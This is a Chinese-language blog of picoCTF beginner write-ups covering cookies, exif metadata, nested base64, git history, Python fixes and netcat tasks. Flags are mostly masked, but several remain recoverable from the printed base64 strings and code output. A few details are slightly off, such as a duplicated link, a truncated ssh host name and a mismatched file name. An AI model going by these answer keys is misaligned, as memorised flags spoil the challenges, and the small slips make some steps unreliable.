picoCTF Writeup

Cookies

Wed, 15 Jul 2026 02:40:00 +0800

題目連結

https://learn.cylabacademy.org/library/173

題目解法

啟動網站後發現有一個可以輸入餅乾名稱的地方，我們就先輸入預設的 snickerdoodle 試試看。

輸入後順利執行了，按下 F12 開啟開發工具，點擊 Application -> Cookies 可以發現有一個 name 的值。

可以發現餅乾名稱會隨著修改數字而變動，一個一個嘗試後發現當 name 的值為 18 時會顯示出 flag。（可以使用自動化工具去跑，但考量到這題題目數值比較小，所以就直接手動暴力嘗試）

Tab, Tab, Attack

Wed, 15 Jul 2026 02:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/189

題目解法

下載並解壓縮後，可以看到是一個有很多層的目錄，~~然後就可以直接複製整個路徑~~。

$ unzip Addadshashanammu.zip
Archive: Addadshashanammu.zip
creating: Addadshashanammu/
creating: Addadshashanammu/Almurbalarammi/
creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/
creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/
creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/
creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/
creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/
extracting: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c
inflating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet

題目希望使用者只用 TAB 進行補全，所以可以輸入 cat 之後不斷按下 TAB 補全目錄或檔案名稱，最後就可以順讀取利包含 flag 的檔案。

$ cat Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c
#include <stdio.h>
int main(){
printf("*ZAP!* picoCTF{l3v-------------------------427}\n");
}

information

Wed, 15 Jul 2026 02:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/186

題目解法

下載後得到一個 cat.jpg 檔案根據提示了解到要查看圖片的 “detail”，使用 exiftool 或其他 exif 查看的工具可以查看圖片的詳細資料如光圈、拍攝時間、地點等資訊。

$ exiftool cat.jpg
ExifTool Version Number : 13.50
File Name : cat.jpg
Directory : .
File Size : 878 kB
File Modification Date/Time : 2025:12:12 14:21:14-05:00
File Access Date/Time : 2026:07:14 14:26:00-04:00
File Inode Change Date/Time : 2026:07:14 14:26:12-04:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.02
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Current IPTC Digest : 7a78f3d9cfb1ce42ab5a3aa30573d617
Copyright Notice : PicoCTF
Application Record Version : 4
XMP Toolkit : Image::ExifTool 10.80
License : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9
Rights : PicoCTF
Image Width : 2560
Image Height : 1598
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 2560x1598
Megapixels : 4.1

在 License 的地方是一串亂碼

Magikarp Ground Mission

Mon, 13 Jul 2026 04:25:00 +0800

題目連結

https://learn.cylabacademy.org/library/189

題目解法

啟動後題目會提供目標主機名稱、使用者名稱、密碼、port 等資訊，類似下方字串： Login via ssh as ctf-player with the password, 8c606eb1 on the host wily-courier.picoctf.net and port 64506. 我們要使用 ssh 指令來連線到目標主機

ssh -p <port> <username>@<host>
ssh -p 64506 ctf-player@wily-courier.picoctf

連線後會提示確認 fingerprint 是否正確，輸入 yes 之後輸入密碼 (密碼不會顯示出來)

The authenticity of host '[wily-courier.picoctf.net]:64506 ([18.189.99.27]:64506)' can't be established.
ED25519 key fingerprint is: SHA256:ErlUUvYlrAxfSW1tIdzfOnGTBSr5OFkZvz0nMN4Vodw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[wily-courier.picoctf.net]:64506' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ctf-player@wily-courier.picoctf.net's password:

連線到主機後，使用 ls 指令查看當前目錄下有甚麼檔案

Codebook

Mon, 13 Jul 2026 04:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/238

題目解法

將 codebook.txt 與 code.py 下載到同個目錄中。執行 code.py 即可得到 flag。

$ python code.py
picoCTF{c0d------------------82c}

題目原始碼

codebook.txt

1

azbycxdwevfugthsirjqkplomn

code.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43



import random
import sys



def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])


flag_enc = chr(0x13) + chr(0x01) + chr(0x17) + chr(0x07) + chr(0x2c) + chr(0x3a) + chr(0x2f) + chr(0x1a) + chr(0x0d) + chr(0x53) + chr(0x0c) + chr(0x47) + chr(0x0a) + chr(0x5f) + chr(0x5e) + chr(0x02) + chr(0x3e) + chr(0x5a) + chr(0x56) + chr(0x5d) + chr(0x45) + chr(0x5d) + chr(0x58) + chr(0x31) + chr(0x58) + chr(0x58) + chr(0x59) + chr(0x02) + chr(0x51) + chr(0x4c) + chr(0x5a) + chr(0x0c) + chr(0x13)



def print_flag():
 try:
 codebook = open('codebook.txt', 'r').read()

 password = codebook[4] + codebook[14] + codebook[13] + codebook[14] +\
 codebook[23]+ codebook[25] + codebook[16] + codebook[0] +\
 codebook[25]

 flag = str_xor(flag_enc, password)
 print(flag)
 except FileNotFoundError:
 print('Couldn\'t find codebook.txt. Did you download that file into the same directory as this script?')



def main():
 print_flag()



if __name__ == "__main__":
 main()

convertme.py

Mon, 13 Jul 2026 04:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/239

題目解法

使用 wget 指令下載檔案。

wget https://artifacts.picoctf.net/c/24/convertme.py

使用 python 執行腳本，腳本惠要求將一個十進位數字轉為二進位，輸入後即可得到 flag。

$ python convertme.py
If 16 is in decimal base, what is it in binary base?
Answer: 10000
That is correct! Here's your flag: picoCTF{4ll-----------------b39}

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35



import random



def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])


flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5f) + chr(0x05) + chr(0x08) + chr(0x2a) + chr(0x1c) + chr(0x5e) + chr(0x1e) + chr(0x1b) + chr(0x3b) + chr(0x17) + chr(0x51) + chr(0x5b) + chr(0x58) + chr(0x5c) + chr(0x3b) + chr(0x42) + chr(0x57) + chr(0x5c) + chr(0x0d) + chr(0x5f) + chr(0x06) + chr(0x46) + chr(0x5c) + chr(0x13)


num = random.choice(range(10,101))

print('If ' + str(num) + ' is in decimal base, what is it in binary base?')

ans = input('Answer: ')

try:
 ans_num = int(ans, base=2)

 if ans_num == num:
 flag = str_xor(flag_enc, 'enkidu')
 print('That is correct! Here\'s your flag: ' + flag)
 else:
 print(str(ans_num) + ' and ' + str(num) + ' are not equal.')

except ValueError:
 print('That isn\'t a binary number. Binary numbers contain only 1\'s and 0\'s')

fixme1.py

Mon, 13 Jul 2026 03:50:00 +0800

題目連結

https://learn.cylabacademy.org/library/240

題目解法

下載腳本並執行後可以發現在第 20 行的地方報錯。

1
2
3
4


$ python fixme1.py
 File "/home/kali/workspace/fixme1.py", line 20
 print('That is correct! Here\'s your flag: ' + flag)
IndentationError: unexpected indent

使用 nano 或其他習慣的文字編輯器編輯檔案，將第 20 行最開頭的兩個空格刪除。

nano fixme2.py

要退出 nano 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。退出後再次執行 python 腳本即可得到 flag。

$ python fixme1.py
That is correct! Here's your flag: picoCTF{1nd-------------------c8f}

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21



import random



def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])


flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5a) + chr(0x07) + chr(0x00) + chr(0x46) + chr(0x0b) + chr(0x1a) + chr(0x5a) + chr(0x1d) + chr(0x1d) + chr(0x2a) + chr(0x06) + chr(0x1c) + chr(0x5a) + chr(0x5c) + chr(0x55) + chr(0x40) + chr(0x3a) + chr(0x58) + chr(0x0a) + chr(0x5d) + chr(0x53) + chr(0x43) + chr(0x06) + chr(0x56) + chr(0x0d) + chr(0x14)


flag = str_xor(flag_enc, 'enkidu')
 print('That is correct! Here\'s your flag: ' + flag)

fixme2.py

Mon, 13 Jul 2026 03:40:00 +0800

題目連結

https://learn.cylabacademy.org/library/241

題目解法

下載腳本並執行後可以發現在第 22 行的地方報錯。

1
2
3
4
5


$ python fixme2.py
 File "/home/kali/workspace/fixme2.py", line 22
 if flag = "":
 ^^^^^^^^^
SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='?

使用 nano 或其他習慣的文字編輯器編輯檔案，將第 22 行的 = 改成 ==。

nano fixme2.py

要退出 nano 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。退出後再次執行 python 腳本即可得到 flag。

$ python fixme2.py
That is correct! Here's your flag: picoCTF{3qu--------------------------efc}

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27



import random



def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])


flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x58) + chr(0x18) + chr(0x11) + chr(0x41) + chr(0x09) + chr(0x5f) + chr(0x1f) + chr(0x10) + chr(0x3b) + chr(0x1b) + chr(0x55) + chr(0x1a) + chr(0x34) + chr(0x5d) + chr(0x51) + chr(0x40) + chr(0x54) + chr(0x09) + chr(0x05) + chr(0x04) + chr(0x57) + chr(0x1b) + chr(0x11) + chr(0x31) + chr(0x0d) + chr(0x5f) + chr(0x05) + chr(0x40) + chr(0x04) + chr(0x0b) + chr(0x0d) + chr(0x0a) + chr(0x19)


flag = str_xor(flag_enc, 'enkidu')

# Check that flag is not empty
if flag = "":
 print('String XOR encountered a problem, quitting.')
else:
 print('That is correct! Here\'s your flag: ' + flag)

Glitch Cat

Mon, 13 Jul 2026 03:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/242

題目解法

啟動題目並使用 nc 連線後，會得到一個包含 chr(0x61) 的字串。

$ nc saturn.picoctf.net 65005
'picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}'

要解讀該字串有幾種方法，可以手動對照 ASCII 16 進為，或是直接使用 python 印出字串，就會自動轉成原始字元。使用 python 指令啟動 python 環境，用 print 將字串印出。

>>> print('picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}')
picoCTF{gl1----------------d2e}

HashingJobApp

Mon, 13 Jul 2026 03:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/243

題目解法

啟動題目後，使用 nc 指令連線後，題目會提供一個字串，要求使用 md5 雜湊後的值，輸入正確三次即可得到 flag。可以搜尋 md5 雜湊工具、cyberchek、或是使用 md5sum 指令。 md5sum 使用方式：

$ echo -n "caffeine" | md5sum
e724f8b8a8349afb5beaeaa300323933 -

實際連線：

$ nc saturn.picoctf.net 56275
Please md5 hash the text between quotes, excluding the quotes: 'caffeine'
Answer:
e724f8b8a8349afb5beaeaa300323933
e724f8b8a8349afb5beaeaa300323933
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'Japan'
Answer:
53a577bb3bc587b0c28ab808390f1c9b
53a577bb3bc587b0c28ab808390f1c9b
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'hangnails'
Answer:
7e3193d5ef5d764bfd8874dda4b5253a
7e3193d5ef5d764bfd8874dda4b5253a
Correct.
picoCTF{4pp-----------------------de2}

PW Crack 1

Mon, 13 Jul 2026 02:45:00 +0800

題目連結

https://learn.cylabacademy.org/library/245

題目解法

將 level1.py 以及 level1.flag.txt.enc 兩個檔案放在同個目錄下。可以看到 level1.py 第 19 行有寫出密碼

user_pw == "1e1a"

執行腳本後輸入密碼 1e1a 即可得到 flag。

$ python level1.py
Please enter correct password for flag: 1e1a
Welcome back... your flag, user:
picoCTF{545---------------060}

題目原始碼

level1.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################


flag_enc = open('level1.flag.txt.enc', 'rb').read()



def level_1_pw_check():
 user_pw = input("Please enter correct password for flag: ")
 if( user_pw == "1e1a"):
 print("Welcome back... your flag, user:")
 decryption = str_xor(flag_enc.decode(), user_pw)
 print(decryption)
 return
 print("That password is incorrect")



level_1_pw_check()

PW Crack 2

Mon, 13 Jul 2026 02:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/246

題目解法

將 level2.py 以及 level2.flag.txt.enc 兩個檔案放在同個目錄下。查看題目原始碼，可以看到第 18 行，有寫出 user_pw 的值在等於多少的情況下，會通過。將 user_pw 的 16 進位 ASCII 轉成字元是 39ce。

user_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65)

執行腳本後輸入 39ce 密碼即可得到 flag。

$ python3 level2.py
Please enter correct password for flag: 39ce
Welcome back... your flag, user:
picoCTF{tr4----------------42e}

題目原始碼

level2.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
 #extend key to secret length
 new_key = key
 i = 0
 while len(new_key) < len(secret):
 new_key = new_key + key[i]
 i = (i + 1) % len(key)
 return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level2.flag.txt.enc', 'rb').read()



def level_2_pw_check():
 user_pw = input("Please enter correct password for flag: ")
 if( user_pw == chr(0x33) + chr(0x39) + chr(0x63) + chr(0x65) ):
 print("Welcome back... your flag, user:")
 decryption = str_xor(flag_enc.decode(), user_pw)
 print(decryption)
 return
 print("That password is incorrect")



level_2_pw_check()

runme.py

Mon, 13 Jul 2026 02:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/250

題目解法

這題題目官方希望可以學習使用 wget 和 python 執行指令。假設只是要拿到 flag，可以直接下載後打開查看。以下是官方希望的做法：

從網站複製檔案連結，到 webshell 或是自己的 linux 主機使用 wget 指令下載檔案。

wget https://artifacts.picoctf.net/c/34/runme.py

下載後得到一個 runme.py 檔案，使用 python3 指令執行，即可得到 flag。

$ python3 runme.py
picoCTF{run--------run}

Includes

Mon, 13 Jul 2026 02:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/274

題目解法

根據提示可以知道 flag 應該被藏在網頁原始碼中，且可能不在一開始的頁面中。按下 F12 並點擊 Sources 頁面查看有哪些原始檔案，可以看到除了 index.html 以外，還有 style.css 和 script.js 兩個檔案，查看即可得到部分 Flag。

1
2
3
4
5


body {
 background-color: lightblue;
}

/* picoCTF{1nc-------------- */

1
2
3
4
5
6


function greetings()
{
 alert("This code is in a separate file!");
}

// --------------022}

Inspect HTML

Mon, 13 Jul 2026 01:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/275

題目解法

啟動網站並前往後，按下 F12 (開發者工具) 或是 Ctrl + U (查看網頁原始碼)，即可看到完整的 Flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<!DOCTYPE html>
<html lang="en">
 <head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible" content="ie=edge">
 <title>On Histiaeus</title>
 </head>
 <body>
 <h1>On Histiaeus</h1>
 <p>However, according to Herodotus, Histiaeus was unhappy having to stay in
 Susa, and made plans to return to his position as King of Miletus by
 instigating a revolt in Ionia. In 499 BC, he shaved the head of his
 most trusted slave, tattooed a message on his head, and then waited for
 his hair to grow back. The slave was then sent to Aristagoras, who was
 instructed to shave the slave's head again and read the message, which
 told him to revolt against the Persians.</p>
 <br>
 <p> Source: Wikipedia on Histiaeus </p>
 <!--picoCTF{1n5-------------------25b}-->
 </body>
</html>

Local Authority

Mon, 13 Jul 2026 00:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/278

題目解法

啟動網站後隨意輸入一組帳密後顯示 Log In Failed，查看網頁原始碼，可以發現有剛剛輸入的帳號密碼以及一個 secure.js 的 javascript 檔案。仔細看可以發現底下 script 會呼叫一個 checkPassword 來檢查是否登入成功，但是當前頁面中沒有，點擊 secure.js 查看。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


<!DOCTYPE html>
<html lang="en">
 <head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible" content="ie=edge">
 <link rel="stylesheet" href="style.css">
 <title>Login Page</title>
 </head>
 <body>
 <script src="secure.js"></script>

 <p id='msg'></p>

 <form hidden action="admin.php" method="post" id="hiddenAdminForm">
 <input type="text" name="hash" required id="adminFormHash">
 </form>

 <script type="text/javascript">
 function filter(string) {
 filterPassed = true;
 for (let i =0; i < string.length; i++){
 cc = string.charCodeAt(i);

 if ( (cc >= 48 && cc <= 57) ||
 (cc >= 65 && cc <= 90) ||
 (cc >= 97 && cc <= 122) )
 {
 filterPassed = true;
 }
 else
 {
 return false;
 }
 }

 return true;
 }

 window.username = "admin";
 window.password = "password";

 usernameFilterPassed = filter(window.username);
 passwordFilterPassed = filter(window.password);

 if ( usernameFilterPassed && passwordFilterPassed ) {

 loggedIn = checkPassword(window.username, window.password);

 if(loggedIn)
 {
 document.getElementById('msg').innerHTML = "Log In Successful";
 document.getElementById('adminFormHash').value = "2196812e91c29df34f5e217cfd639881";
 document.getElementById('hiddenAdminForm').submit();
 }
 else
 {
 document.getElementById('msg').innerHTML = "Log In Failed";
 }
 }
 else {
 document.getElementById('msg').innerHTML = "Illegal character in username or password."
 }
 </script>

 </body>
</html>

點開 secure.js 查看為以下內容，有包含正確的帳號密碼，輸入即可得到 flag。

First Find

Sun, 12 Jul 2026 23:50:00 +0800

題目連結

https://learn.cylabacademy.org/library/320

題目解法

題目目標是找到 uber-secret.txt 這個檔案，在 linux 找檔案可以使用 find 這個指令，下載並解壓縮檔案後，使用以下指令尋找 uber-secret.txt 檔案。

$ find -name uber-secret.txt
./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt

找到檔案後使用 cat 讀取

$ cat ./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
picoCTF{f1n---------------fd1}

Big Zip

Sun, 12 Jul 2026 23:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/322

題目解法

解壓縮後會得到非常多 .txt 檔案以及許多子目錄，根據提示知道要使用 grep 指令，grep 指令加上 -r 參數會遞迴的尋找目錄中以及所有子目錄中的所有檔案中是否有目標。

$ grep -r "pico"
folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3----------------0dc}

repetitions

Wed, 01 Jul 2026 22:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/371

題目解法

下載後得到以下字串

VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh
RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk
MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW
VkpEVGxaYVdFMVhSbFZrTTBKVVZXcE9VazFXV2toT1dHUllDbUY2UWpSWk1GWlhWa2RHZEdWRlZs
aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==

看到用兩個等於結尾且內容皆為字母及數字，推測使用 base64 編碼，解碼後得到以下字串

VjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX
bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW
MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVkM0JUVWpOUk1WWkhOWGRYCmF6QjRZMFZXVkdGdGVFVlhi
bTkzVDFWT2JsQlVNRXNLCg==

在解碼一次得到

V1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR
bHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUd3BTUjNRMVZHNXdX
azB4Y0VWVGFteEVXbm93T1VOblBUMEsK

在解碼一次得到

WTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV
WGRrTWpWelRVUlNhMDB5VW1aTwpSR3Q1VG5wWk0xcEVTamxEWnowOUNnPT0K

在解碼一次得到

Y0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZO
RGt5TnpZM1pESjlDZz09Cg==

在解碼一次得到

cGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfNDkyNzY3ZDJ9Cg==

在解碼一次得到 flag

picoCTF{bas------------------------------------7d2}

binhexa

Wed, 01 Jul 2026 22:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/404

題目解法

依照問的問題計算答案

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.
Binary Number 1: 11111110
Binary Number 2: 11100001

Number 1 和 Number 2 &(and) 計算

Question 1/6:
Operation 1: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 11100000
Correct!

Number 1 和 Number 2 相加

Question 2/6:
Operation 2: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 111011111
Correct!

Number 1 左移一位

Question 3/6:
Operation 3: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 111111100
Correct!

Number 2 右移一位

Question 4/6:
Operation 4: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 1110000
Correct!

Number 1 和 Number 2 相乘

Question 5/6:
Operation 5: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 1101111100111110
Correct!

Number 1 和 Number 2 |(or) 計算

Question 6/6:
Operation 6: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 11111111
Correct!

將 | 的結果轉成 16 進位

Enter the results of the last operation in hexadecimal: ff
Correct answer!
The flag is: picoCTF{b1t---------------------------------47e}

Blame Game

Wed, 01 Jul 2026 17:43:00 +0800

題目連結

https://learn.cylabacademy.org/library/405

題目解法

根據提示知道要查看誰更動過 message.py，所以要使用 git blame 指令

$ git blame message.py
23e9d4ce (picoCTF{@sk-----------------6ff} 2024-03-12 00:07:15 +0000 1) print("Hello, World!"

Bookmarklet

Wed, 01 Jul 2026 17:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/406

題目解法

進入網站後點選畫面上的程式碼，可以複製一段 JavaScript 腳本，按下 F12 開啟開發者工具，選取 console 並且貼上剛剛的程式碼，即可得到 flag。

CanYouSee

Wed, 01 Jul 2026 17:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/408

題目解法

下載並解壓縮後得到一張 .jpg 檔，使用 exiftool 檢查發現一串可疑的資料

$ exiftool ukn_reality.jpg
ExifTool Version Number : 13.50
File Name : ukn_reality.jpg
Directory : .
File Size : 2.3 MB
File Modification Date/Time : 2024:02:15 17:40:17-05:00
File Access Date/Time : 2026:07:01 05:16:50-04:00
File Inode Change Date/Time : 2026:07:01 05:16:41-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
XMP Toolkit : Image::ExifTool 11.88
Attribution URL : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==
Image Width : 4308
Image Height : 2875
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 4308x2875
Megapixels : 12.4

Attribution URL 的資料很可疑，像是使用 base64 編碼後的內容，解碼後即可得到 flag。

Collaborative Development

Wed, 01 Jul 2026 16:50:00 +0800

題目連結

https://learn.cylabacademy.org/library/410

題目解法

將題目檔案下載並解壓縮後，讀取 flag.py 發現並未包含 flag，git log 也沒有任何紀錄。不過可以發現有多個 branch。
```
$ git branch
feature/part-1
feature/part-2
feature/part-3
* main
```

使用 git checkout 切到不同分支查看，發現每個分支有包含部分 flag。

$ git checkout feature/part-1
Switched to branch 'feature/part-1'
$ cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')

重複相同步驟，將三部分的 flag 組合起來即可得到完整 flag。
```
picoCTF{t3@--------------------------------ec1}
```

Commitment Issues

Wed, 01 Jul 2026 16:43:00 +0800

題目連結

https://learn.cylabacademy.org/library/411

題目解法

將題目檔案下載並解壓縮後，讀取 message.txt 發現並未包含 flag，使用 git 指令查看 log 發現有兩個 log，其中 ea859bf 可能包含 flag。
```
$ git log --oneline
ef0b7cc (HEAD -> master) remove sensitive info
ea859bf create flag
```
使用 git checkout 指令來回到指定 log。
```
git checkout ea859bf
```
再次讀取 message.txt 發現有包含 flag 了。
```
$ cat message.txt
picoCTF{s@n-----------485}
```

endianness

Fri, 08 May 2026 22:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/414

題目解法

啟動並連線後，會提供一個長度為5的隨機字串。
第一個問題 Enter the Little Endian representation: 要將字串顛道並轉成 16 進位後輸入。
第二個問題 Enter the Big Endian representation: 直接將字串轉乘 16 進位輸入。

$ nc titan.picoctf.net 56752
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: gobyv
Enter the Little Endian representation: 7679626F67
Correct Little Endian representation!
Enter the Big Endian representation: 676F627976
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3nd----------------------f0a}

ASCII 對照表

字母	Hex	字母	Hex
a	61	n	6E
b	62	o	6F
c	63	p	70
d	64	q	71
e	65	r	72
f	66	s	73
g	67	t	74
h	68	u	75
i	69	v	76
j	6A	w	77
k	6B	x	78
l	6C	y	79
m	6D	z	7a

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
